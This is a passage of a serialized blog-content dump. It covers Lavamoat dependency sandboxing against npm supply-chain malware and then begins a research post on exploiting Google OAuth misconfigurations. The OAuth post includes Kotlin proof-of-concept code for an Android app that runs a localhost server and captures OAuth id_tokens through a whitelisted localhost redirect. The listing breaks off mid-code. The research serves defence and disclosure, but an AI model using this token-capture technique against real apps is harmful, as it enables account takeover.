",{"type":20,"tag":35,"props":97402,"children":97405},{"href":97403,"rel":97404},"https://github.com/LavaMoat/LavaMoat/tree/main",[39],[97406],{"type":20,"tag":3717,"props":97407,"children":97408},{},[97409],{"type":26,"value":97410},"Lavamoat",{"type":20,"tag":29,"props":97412,"children":97413},{},[97414],{"type":26,"value":97415},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":20,"tag":29,"props":97417,"children":97418},{},[97419],{"type":26,"value":97420},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":20,"tag":305,"props":97422,"children":97424},{"code":97423,"language":32412,"meta":7,"className":32410,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[97425],{"type":20,"tag":119,"props":97426,"children":97427},{"__ignoreMap":7},[97428,97440,97452,97463,97479,97486,97493,97505,97516,97536,97552,97559,97570,97590,97606,97613,97620],{"type":20,"tag":315,"props":97429,"children":97430},{"class":317,"line":318},[97431,97436],{"type":20,"tag":315,"props":97432,"children":97433},{"style":2652},[97434],{"type":26,"value":97435},"\"resources\"",{"type":20,"tag":315,"props":97437,"children":97438},{"style":328},[97439],{"type":26,"value":35438},{"type":20,"tag":315,"props":97441,"children":97442},{"class":317,"line":356},[97443,97448],{"type":20,"tag":315,"props":97444,"children":97445},{"style":635},[97446],{"type":26,"value":97447}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":20,"tag":315,"props":97449,"children":97450},{"style":328},[97451],{"type":26,"value":35438},{"type":20,"tag":315,"props":97453,"children":97454},{"class":317,"line":365},[97455,97459],{"type":20,"tag":315,"props":97456,"children":97457},{"style":635},[97458],{"type":26,"value":35446},{"type":20,"tag":315,"props":97460,"children":97461},{"style":328},[97462],{"type":26,"value":35438},{"type":20,"tag":315,"props":97464,"children":97465},{"class":317,"line":374},[97466,97471,97475],{"type":20,"tag":315,"props":97467,"children":97468},{"style":635},[97469],{"type":26,"value":97470}," \"TextEncoder\"",{"type":20,"tag":315,"props":97472,"children":97473},{"style":328},[97474],{"type":26,"value":13732},{"type":20,"tag":315,"props":97476,"children":97477},{"style":541},[97478],{"type":26,"value":35607},{"type":20,"tag":315,"props":97480,"children":97481},{"class":317,"line":383},[97482],{"type":20,"tag":315,"props":97483,"children":97484},{"style":328},[97485],{"type":26,"value":11064},{"type":20,"tag":315,"props":97487,"children":97488},{"class":317,"line":407},[97489],{"type":20,"tag":315,"props":97490,"children":97491},{"style":328},[97492],{"type":26,"value":23797},{"type":20,"tag":315,"props":97494,"children":97495},{"class":317,"line":421},[97496,97501],{"type":20,"tag":315,"props":97497,"children":97498},{"style":635},[97499],{"type":26,"value":97500}," \"@ethereumjs/util\"",{"type":20,"tag":315,"props":97502,"children":97503},{"style":328},[97504],{"type":26,"value":35438},{"type":20,"tag":315,"props":97506,"children":97507},{"class":317,"line":430},[97508,97512],{"type":20,"tag":315,"props":97509,"children":97510},{"style":635},[97511],{"type":26,"value":35446},{"type":20,"tag":315,"props":97513,"children":97514},{"style":328},[97515],{"type":26,"value":35438},{"type":20,"tag":315,"props":97517,"children":97518},{"class":317,"line":453},[97519,97524,97528,97532],{"type":20,"tag":315,"props":97520,"children":97521},{"style":635},[97522],{"type":26,"value":97523}," \"console.warn\"",{"type":20,"tag":315,"props":97525,"children":97526},{"style":328},[97527],{"type":26,"value":13732},{"type":20,"tag":315,"props":97529,"children":97530},{"style":541},[97531],{"type":26,"value":2387},{"type":20,"tag":315,"props":97533,"children":97534},{"style":328},[97535],{"type":26,"value":643},{"type":20,"tag":315,"props":97537,"children":97538},{"class":317,"line":486},[97539,97544,97548],{"type":20,"tag":315,"props":97540,"children":97541},{"style":635},[97542],{"type":26,"value":97543}," \"fetch\"",{"type":20,"tag":315,"props":97545,"children":97546},{"style":328},[97547],{"type":26,"value":13732},{"type":20,"tag":315,"props":97549,"children":97550},{"style":541},[97551],{"type":26,"value":35607},{"type":20,"tag":315,"props":97553,"children":97554},{"class":317,"line":499},[97555],{"type":20,"tag":315,"props":97556,"children":97557},{"style":328},[97558],{"type":26,"value":35615},{"type":20,"tag":315,"props":97560,"children":97561},{"class":317,"line":513},[97562,97566],{"type":20,"tag":315,"props":97563,"children":97564},{"style":635},[97565],{"type":26,"value":35623},{"type":20,"tag":315,"props":97567,"children":97568},{"style":328},[97569],{"type":26,"value":35438},{"type":20,"tag":315,"props":97571,"children":97572},{"class":317,"line":521},[97573,97578,97582,97586],{"type":20,"tag":315,"props":97574,"children":97575},{"style":635},[97576],{"type":26,"value":97577}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":20,"tag":315,"props":97579,"children":97580},{"style":328},[97581],{"type":26,"value":13732},{"type":20,"tag":315,"props":97583,"children":97584},{"style":541},[97585],{"type":26,"value":2387},{"type":20,"tag":315,"props":97587,"children":97588},{"style":328},[97589],{"type":26,"value":643},{"type":20,"tag":315,"props":97591,"children":97592},{"class":317,"line":552},[97593,97598,97602],{"type":20,"tag":315,"props":97594,"children":97595},{"style":635},[97596],{"type":26,"value":97597}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":20,"tag":315,"props":97599,"children":97600},{"style":328},[97601],{"type":26,"value":13732},{"type":20,"tag":315,"props":97603,"children":97604},{"style":541},[97605],{"type":26,"value":35607},{"type":20,"tag":315,"props":97607,"children":97608},{"class":317,"line":571},[97609],{"type":20,"tag":315,"props":97610,"children":97611},{"style":328},[97612],{"type":26,"value":11064},{"type":20,"tag":315,"props":97614,"children":97615},{"class":317,"line":2031},[97616],{"type":20,"tag":315,"props":97617,"children":97618},{"style":328},[97619],{"type":26,"value":1736},{"type":20,"tag":315,"props":97621,"children":97622},{"class":317,"line":2053},[97623],{"type":20,"tag":315,"props":97624,"children":97625},{"style":328},[97626],{"type":26,"value":577},{"type":20,"tag":29,"props":97628,"children":97629},{},[97630,97632,97638,97640,97646,97647,97652,97654,97660,97661,97667],{"type":26,"value":97631},"In this example, it restricts the ",{"type":20,"tag":119,"props":97633,"children":97635},{"className":97634},[],[97636],{"type":26,"value":97637},"@ethereumjs/util",{"type":26,"value":97639}," package to use only ",{"type":20,"tag":119,"props":97641,"children":97643},{"className":97642},[],[97644],{"type":26,"value":97645},"console.warn",{"type":26,"value":9392},{"type":20,"tag":119,"props":97648,"children":97650},{"className":97649},[],[97651],{"type":26,"value":32509},{"type":26,"value":97653}," functions, and to include only ",{"type":20,"tag":119,"props":97655,"children":97657},{"className":97656},[],[97658],{"type":26,"value":97659},"@ethereumjs/rlp",{"type":26,"value":9392},{"type":20,"tag":119,"props":97662,"children":97664},{"className":97663},[],[97665],{"type":26,"value":97666},"ethereum-cryptography",{"type":26,"value":97668}," packages.",{"type":20,"tag":29,"props":97670,"children":97671},{},[97672],{"type":26,"value":97673},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":20,"tag":29,"props":97675,"children":97676},{},[97677,97679,97685],{"type":26,"value":97678},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":20,"tag":35,"props":97680,"children":97683},{"href":97681,"rel":97682},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[39],[97684],{"type":26,"value":35793},{"type":26,"value":61},{"type":20,"tag":219,"props":97687,"children":97689},{"id":97688},"lavamoat-vs-qix-malware",[97690],{"type":26,"value":97691},"Lavamoat vs Qix Malware",{"type":20,"tag":29,"props":97693,"children":97694},{},[97695,97697,97702],{"type":26,"value":97696},"If a dApp were compromised with the Qix malware (say it used ",{"type":20,"tag":119,"props":97698,"children":97700},{"className":97699},[],[97701],{"type":26,"value":95542},{"type":26,"value":97703},"), it would need to perform the following actions to drain funds from a wallet:",{"type":20,"tag":68,"props":97705,"children":97706},{},[97707,97719,97730,97741],{"type":20,"tag":72,"props":97708,"children":97709},{},[97710,97712,97717],{"type":26,"value":97711},"Replace ",{"type":20,"tag":119,"props":97713,"children":97715},{"className":97714},[],[97716],{"type":26,"value":32509},{"type":26,"value":97718}," function to a custom one",{"type":20,"tag":72,"props":97720,"children":97721},{},[97722,97724],{"type":26,"value":97723},"Access ",{"type":20,"tag":119,"props":97725,"children":97727},{"className":97726},[],[97728],{"type":26,"value":97729},"window.ethereum",{"type":20,"tag":72,"props":97731,"children":97732},{},[97733,97735,97740],{"type":26,"value":97734},"Call original ",{"type":20,"tag":119,"props":97736,"children":97738},{"className":97737},[],[97739],{"type":26,"value":32509},{"type":26,"value":36630},{"type":20,"tag":72,"props":97742,"children":97743},{},[97744],{"type":26,"value":97745},"Plus other actions not relevant here",{"type":20,"tag":29,"props":97747,"children":97748},{},[97749,97751,97757],{"type":26,"value":97750},"If the dApp is using Lavamoat with a generated policy for ",{"type":20,"tag":119,"props":97752,"children":97754},{"className":97753},[],[97755],{"type":26,"value":97756},"chalk 5.6.0",{"type":26,"value":97758}," (non-malicious version) it would look like this:",{"type":20,"tag":305,"props":97760,"children":97762},{"code":97761,"language":32412,"meta":7,"className":32410,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[97763],{"type":20,"tag":119,"props":97764,"children":97765},{"__ignoreMap":7},[97766,97778,97789,97809,97825,97832],{"type":20,"tag":315,"props":97767,"children":97768},{"class":317,"line":318},[97769,97774],{"type":20,"tag":315,"props":97770,"children":97771},{"style":2652},[97772],{"type":26,"value":97773},"\"chalk\"",{"type":20,"tag":315,"props":97775,"children":97776},{"style":328},[97777],{"type":26,"value":35438},{"type":20,"tag":315,"props":97779,"children":97780},{"class":317,"line":356},[97781,97785],{"type":20,"tag":315,"props":97782,"children":97783},{"style":635},[97784],{"type":26,"value":35446},{"type":20,"tag":315,"props":97786,"children":97787},{"style":328},[97788],{"type":26,"value":35438},{"type":20,"tag":315,"props":97790,"children":97791},{"class":317,"line":365},[97792,97797,97801,97805],{"type":20,"tag":315,"props":97793,"children":97794},{"style":635},[97795],{"type":26,"value":97796}," \"navigator.userAgent\"",{"type":20,"tag":315,"props":97798,"children":97799},{"style":328},[97800],{"type":26,"value":13732},{"type":20,"tag":315,"props":97802,"children":97803},{"style":541},[97804],{"type":26,"value":2387},{"type":20,"tag":315,"props":97806,"children":97807},{"style":328},[97808],{"type":26,"value":643},{"type":20,"tag":315,"props":97810,"children":97811},{"class":317,"line":374},[97812,97817,97821],{"type":20,"tag":315,"props":97813,"children":97814},{"style":635},[97815],{"type":26,"value":97816}," \"navigator.userAgentData\"",{"type":20,"tag":315,"props":97818,"children":97819},{"style":328},[97820],{"type":26,"value":13732},{"type":20,"tag":315,"props":97822,"children":97823},{"style":541},[97824],{"type":26,"value":35607},{"type":20,"tag":315,"props":97826,"children":97827},{"class":317,"line":383},[97828],{"type":20,"tag":315,"props":97829,"children":97830},{"style":328},[97831],{"type":26,"value":11064},{"type":20,"tag":315,"props":97833,"children":97834},{"class":317,"line":407},[97835],{"type":20,"tag":315,"props":97836,"children":97837},{"style":328},[97838],{"type":26,"value":23797},{"type":20,"tag":29,"props":97840,"children":97841},{},[97842,97844,97850],{"type":26,"value":97843},"That means that the chalk dependency can only access these two global attributes from ",{"type":20,"tag":119,"props":97845,"children":97847},{"className":97846},[],[97848],{"type":26,"value":97849},"navigator",{"type":26,"value":61},{"type":20,"tag":29,"props":97852,"children":97853},{},[97854,97856,97862],{"type":26,"value":97855},"When the compromised dApp would execute the malicious payload of ",{"type":20,"tag":119,"props":97857,"children":97859},{"className":97858},[],[97860],{"type":26,"value":97861},"chalk v5.6.1",{"type":26,"value":97863}," it would fail due to insufficient permissions:",{"type":20,"tag":29,"props":97865,"children":97866},{},[97867],{"type":20,"tag":2308,"props":97868,"children":97870},{"alt":48830,"src":97869},"/posts/supply-chain-attcks/error.png",[],{"type":20,"tag":29,"props":97872,"children":97873},{},[97874,97876,97881],{"type":26,"value":97875},"This error shows that the malware failed since it cannot redefine ",{"type":20,"tag":119,"props":97877,"children":97879},{"className":97878},[],[97880],{"type":26,"value":32509},{"type":26,"value":23884},{"type":20,"tag":305,"props":97883,"children":97885},{"code":97884},"TypeError#1: Cannot define property fetch, object is not extensible\n",[97886],{"type":20,"tag":119,"props":97887,"children":97888},{"__ignoreMap":7},[97889],{"type":26,"value":97884},{"type":20,"tag":21,"props":97891,"children":97893},{"id":97892},"lavamoat-in-practice",[97894],{"type":26,"value":97895},"Lavamoat In Practice",{"type":20,"tag":29,"props":97897,"children":97898},{},[97899,97901,97908],{"type":26,"value":97900},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":20,"tag":35,"props":97902,"children":97905},{"href":97903,"rel":97904},"https://osec.io/reports/lavamoat_audit_final.pdf",[39],[97906],{"type":26,"value":97907},"see the audit report",{"type":26,"value":19146},{"type":20,"tag":29,"props":97910,"children":97911},{},[97912],{"type":26,"value":97913},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":20,"tag":21,"props":97915,"children":97916},{"id":74055},[97917],{"type":26,"value":74058},{"type":20,"tag":29,"props":97919,"children":97920},{},[97921],{"type":26,"value":97922},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":20,"tag":29,"props":97924,"children":97925},{},[97926,97928,97933],{"type":26,"value":97927},"Version pinning and ",{"type":20,"tag":119,"props":97929,"children":97931},{"className":97930},[],[97932],{"type":26,"value":97369},{"type":26,"value":97934}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":20,"tag":1226,"props":97936,"children":97937},{},[97938],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":97940},[97941,97944,97945,97954,97955],{"id":95557,"depth":356,"text":95560,"children":97942},[97943],{"id":97192,"depth":365,"text":97195},{"id":97203,"depth":356,"text":97206},{"id":97219,"depth":356,"text":97222,"children":97946},[97947,97949,97951,97953],{"id":97230,"depth":365,"text":97948},"1. Version pinning in package.json",{"id":97360,"depth":365,"text":97950},"2. Use npm ci",{"id":97397,"depth":365,"text":97952},"3. Implement Lavamoat",{"id":97688,"depth":365,"text":97691},{"id":97892,"depth":356,"text":97895},{"id":74055,"depth":356,"text":74058},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":97960,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97961,"description":97962,"date":97963,"author":97964,"image":97965,"isFeatured":15,"onBlogPage":15,"tags":97967,"body":97970,"_type":1242,"_id":100301,"_source":1244,"_file":100302,"_stem":100303,"_extension":1247},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[29617,29616],{"src":97966,"width":95526,"height":12024},"/posts/oauth-misconfigurations/title.png",[97968,97969],"oAuth","exchanges",{"type":17,"children":97971,"toc":100288},[97972,97978,97983,97989,98009,98015,98020,98033,98038,98046,98060,98069,98078,98092,98100,98111,98171,98177,98189,98238,98244,98249,98262,98269,98280,98300,98319,98340,98346,98359,98364,98370,98389,99014,99019,99032,99893,99898,99903,99909,99914,99920,99925,99938,99978,99984,99997,100002,100035,100040,100045,100070,100075,100087,100244,100249,100253,100265,100270,100274,100279,100284],{"type":20,"tag":21,"props":97973,"children":97975},{"id":97974},"exploiting-oauth",[97976],{"type":26,"value":97977},"Exploiting OAuth",{"type":20,"tag":29,"props":97979,"children":97980},{},[97981],{"type":26,"value":97982},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":20,"tag":219,"props":97984,"children":97986},{"id":97985},"google-authentication-flows",[97987],{"type":26,"value":97988},"Google Authentication Flows",{"type":20,"tag":29,"props":97990,"children":97991},{},[97992,97994,98000,98002,98007],{"type":26,"value":97993},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":20,"tag":119,"props":97995,"children":97997},{"className":97996},[],[97998],{"type":26,"value":97999},"postMessage",{"type":26,"value":98001}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":20,"tag":119,"props":98003,"children":98005},{"className":98004},[],[98006],{"type":26,"value":68021},{"type":26,"value":98008}," to send the token back to the RP.",{"type":20,"tag":17297,"props":98010,"children":98012},{"id":98011},"gsi-new-flow",[98013],{"type":26,"value":98014},"GSI (New Flow)",{"type":20,"tag":29,"props":98016,"children":98017},{},[98018],{"type":26,"value":98019},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":20,"tag":15089,"props":98021,"children":98022},{},[98023,98028],{"type":20,"tag":72,"props":98024,"children":98025},{},[98026],{"type":26,"value":98027},"Using FedCM API",{"type":20,"tag":72,"props":98029,"children":98030},{},[98031],{"type":26,"value":98032},"Without using FedCM API",{"type":20,"tag":29,"props":98034,"children":98035},{},[98036],{"type":26,"value":98037},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":20,"tag":29,"props":98039,"children":98040},{},[98041],{"type":20,"tag":3717,"props":98042,"children":98043},{},[98044],{"type":26,"value":98045},"FedCM Method",{"type":20,"tag":29,"props":98047,"children":98048},{},[98049,98051,98058],{"type":26,"value":98050},"The FedCM method basically follows this ",{"type":20,"tag":35,"props":98052,"children":98055},{"href":98053,"rel":98054},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[39],[98056],{"type":26,"value":98057},"user experience",{"type":26,"value":98059},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":20,"tag":29,"props":98061,"children":98062},{},[98063,98065],{"type":26,"value":98064},"The normal flow, clicking the \"sign in\" button:\n",{"type":20,"tag":2308,"props":98066,"children":98068},{"alt":48830,"src":98067},"/posts/oauth-misconfigurations/image1.png",[],{"type":20,"tag":29,"props":98070,"children":98071},{},[98072,98074],{"type":26,"value":98073},"One-Tap popup shown when you open the page:\n",{"type":20,"tag":2308,"props":98075,"children":98077},{"alt":48830,"src":98076},"/posts/oauth-misconfigurations/image2.png",[],{"type":20,"tag":29,"props":98079,"children":98080},{},[98081,98083,98090],{"type":26,"value":98082},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":20,"tag":35,"props":98084,"children":98087},{"href":98085,"rel":98086},"https://github.com/w3c-fedid/FedCM/issues/429",[39],[98088],{"type":26,"value":98089},"FedCM auto-reauthentication",{"type":26,"value":98091},", which has certain preconditions that must be met.",{"type":20,"tag":29,"props":98093,"children":98094},{},[98095],{"type":20,"tag":3717,"props":98096,"children":98097},{},[98098],{"type":26,"value":98099},"Non-FedCM Method",{"type":20,"tag":29,"props":98101,"children":98102},{},[98103,98105,98110],{"type":26,"value":98104},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":20,"tag":119,"props":98106,"children":98108},{"className":98107},[],[98109],{"type":26,"value":97999},{"type":26,"value":2884},{"type":20,"tag":68,"props":98112,"children":98113},{},[98114,98119,98143,98148,98159],{"type":20,"tag":72,"props":98115,"children":98116},{},[98117],{"type":26,"value":98118},"The user clicks the sign in button",{"type":20,"tag":72,"props":98120,"children":98121},{},[98122,98124,98130,98132,98137,98138],{"type":26,"value":98123},"RP opens a popup/iframe to ",{"type":20,"tag":35,"props":98125,"children":98128},{"href":98126,"rel":98127},"https://accounts.google.com/o/oauth2/v2/auth",[39],[98129],{"type":26,"value":98126},{"type":26,"value":98131}," with some important parameters like ",{"type":20,"tag":119,"props":98133,"children":98135},{"className":98134},[],[98136],{"type":26,"value":67853},{"type":26,"value":9392},{"type":20,"tag":119,"props":98139,"children":98141},{"className":98140},[],[98142],{"type":26,"value":38552},{"type":20,"tag":72,"props":98144,"children":98145},{},[98146],{"type":26,"value":98147},"The user clicks the \"Continue\" button to authorize authentication",{"type":20,"tag":72,"props":98149,"children":98150},{},[98151,98153],{"type":26,"value":98152},"They get redirected to ",{"type":20,"tag":35,"props":98154,"children":98157},{"href":98155,"rel":98156},"https://accounts.google.com/gsi/transform",[39],[98158],{"type":26,"value":98155},{"type":20,"tag":72,"props":98160,"children":98161},{},[98162,98164,98169],{"type":26,"value":98163},"/gsi/transform sends the token back to the RP via ",{"type":20,"tag":119,"props":98165,"children":98167},{"className":98166},[],[98168],{"type":26,"value":97999},{"type":26,"value":98170}," (after some SYN/ACK messages)",{"type":20,"tag":17297,"props":98172,"children":98174},{"id":98173},"oauth-20-old-flow",[98175],{"type":26,"value":98176},"OAuth 2.0 Old Flow",{"type":20,"tag":29,"props":98178,"children":98179},{},[98180,98182,98187],{"type":26,"value":98181},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":20,"tag":119,"props":98183,"children":98185},{"className":98184},[],[98186],{"type":26,"value":68021},{"type":26,"value":98188}," provided in the URL and validated by a whitelist configuration:",{"type":20,"tag":68,"props":98190,"children":98191},{},[98192,98196,98217,98221],{"type":20,"tag":72,"props":98193,"children":98194},{},[98195],{"type":26,"value":98118},{"type":20,"tag":72,"props":98197,"children":98198},{},[98199,98200,98205,98206,98211,98212],{"type":26,"value":98123},{"type":20,"tag":35,"props":98201,"children":98203},{"href":98126,"rel":98202},[39],[98204],{"type":26,"value":98126},{"type":26,"value":98131},{"type":20,"tag":119,"props":98207,"children":98209},{"className":98208},[],[98210],{"type":26,"value":67853},{"type":26,"value":9392},{"type":20,"tag":119,"props":98213,"children":98215},{"className":98214},[],[98216],{"type":26,"value":68021},{"type":20,"tag":72,"props":98218,"children":98219},{},[98220],{"type":26,"value":98147},{"type":20,"tag":72,"props":98222,"children":98223},{},[98224,98225,98230,98232],{"type":26,"value":98152},{"type":20,"tag":119,"props":98226,"children":98228},{"className":98227},[],[98229],{"type":26,"value":68021},{"type":26,"value":98231}," with the token in the query parameters or ",{"type":20,"tag":119,"props":98233,"children":98235},{"className":98234},[],[98236],{"type":26,"value":98237},"location.hash",{"type":20,"tag":17297,"props":98239,"children":98241},{"id":98240},"different-configurations",[98242],{"type":26,"value":98243},"Different Configurations",{"type":20,"tag":29,"props":98245,"children":98246},{},[98247],{"type":26,"value":98248},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":20,"tag":15089,"props":98250,"children":98251},{},[98252,98257],{"type":20,"tag":72,"props":98253,"children":98254},{},[98255],{"type":26,"value":98256},"Authorized origins",{"type":20,"tag":72,"props":98258,"children":98259},{},[98260],{"type":26,"value":98261},"Authorized redirect URIs",{"type":20,"tag":29,"props":98263,"children":98264},{},[98265],{"type":20,"tag":2308,"props":98266,"children":98268},{"alt":48830,"src":98267},"/posts/oauth-misconfigurations/image3.png",[],{"type":20,"tag":29,"props":98270,"children":98271},{},[98272,98274,98279],{"type":26,"value":98273},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":20,"tag":119,"props":98275,"children":98277},{"className":98276},[],[98278],{"type":26,"value":67853},{"type":26,"value":61},{"type":20,"tag":29,"props":98281,"children":98282},{},[98283,98285,98291,98293,98298],{"type":26,"value":98284},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":20,"tag":119,"props":98286,"children":98288},{"className":98287},[],[98289],{"type":26,"value":98290},"/oauth2/v2/auth",{"type":26,"value":98292}," by checking the ",{"type":20,"tag":119,"props":98294,"children":98296},{"className":98295},[],[98297],{"type":26,"value":38552},{"type":26,"value":98299}," query parameter.",{"type":20,"tag":29,"props":98301,"children":98302},{},[98303,98305,98310,98312,98317],{"type":26,"value":98304},"In the old flow, the ",{"type":20,"tag":119,"props":98306,"children":98308},{"className":98307},[],[98309],{"type":26,"value":68021},{"type":26,"value":98311}," parameter passed in the ",{"type":20,"tag":119,"props":98313,"children":98315},{"className":98314},[],[98316],{"type":26,"value":98290},{"type":26,"value":98318}," endpoint is validated against the authorized redirect URIs.",{"type":20,"tag":29,"props":98320,"children":98321},{},[98322,98324,98329,98331,98338],{"type":26,"value":98323},"Note that the new GSI flow can also have a different flow using ",{"type":20,"tag":119,"props":98325,"children":98327},{"className":98326},[],[98328],{"type":26,"value":68021},{"type":26,"value":98330}," validation. To execute this flow, you need to specify ",{"type":20,"tag":35,"props":98332,"children":98335},{"href":98333,"rel":98334},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[39],[98336],{"type":26,"value":98337},"login_uri",{"type":26,"value":98339}," while using the SDK.",{"type":20,"tag":219,"props":98341,"children":98343},{"id":98342},"localhost-exploit",[98344],{"type":26,"value":98345},"Localhost Exploit",{"type":20,"tag":29,"props":98347,"children":98348},{},[98349,98351,98357],{"type":26,"value":98350},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":20,"tag":119,"props":98352,"children":98354},{"className":98353},[],[98355],{"type":26,"value":98356},"localhost",{"type":26,"value":98358}," origin because it is considered trusted for local testing.",{"type":20,"tag":29,"props":98360,"children":98361},{},[98362],{"type":26,"value":98363},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":20,"tag":17297,"props":98365,"children":98367},{"id":98366},"exploit",[98368],{"type":26,"value":98369},"Exploit",{"type":20,"tag":29,"props":98371,"children":98372},{},[98373,98375,98380,98381,98387],{"type":26,"value":98374},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":20,"tag":119,"props":98376,"children":98378},{"className":98377},[],[98379],{"type":26,"value":98237},{"type":26,"value":11534},{"type":20,"tag":119,"props":98382,"children":98384},{"className":98383},[],[98385],{"type":26,"value":98386},"location.search",{"type":26,"value":98388},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":20,"tag":305,"props":98390,"children":98394},{"className":98391,"code":98392,"language":98393,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[98395],{"type":20,"tag":119,"props":98396,"children":98397},{"__ignoreMap":7},[98398,98427,98446,98453,98460,98479,98490,98501,98532,98555,98602,98609,98616,98623,98630,98650,98681,98692,98699,98706,98725,98748,98759,98778,98793,98804,98827,98862,98881,98888,98899,98922,98933,98945,98952,98959,98966,98973,98980,99007],{"type":20,"tag":315,"props":98399,"children":98400},{"class":317,"line":318},[98401,98406,98410,98414,98418,98422],{"type":20,"tag":315,"props":98402,"children":98403},{"style":541},[98404],{"type":26,"value":98405}," 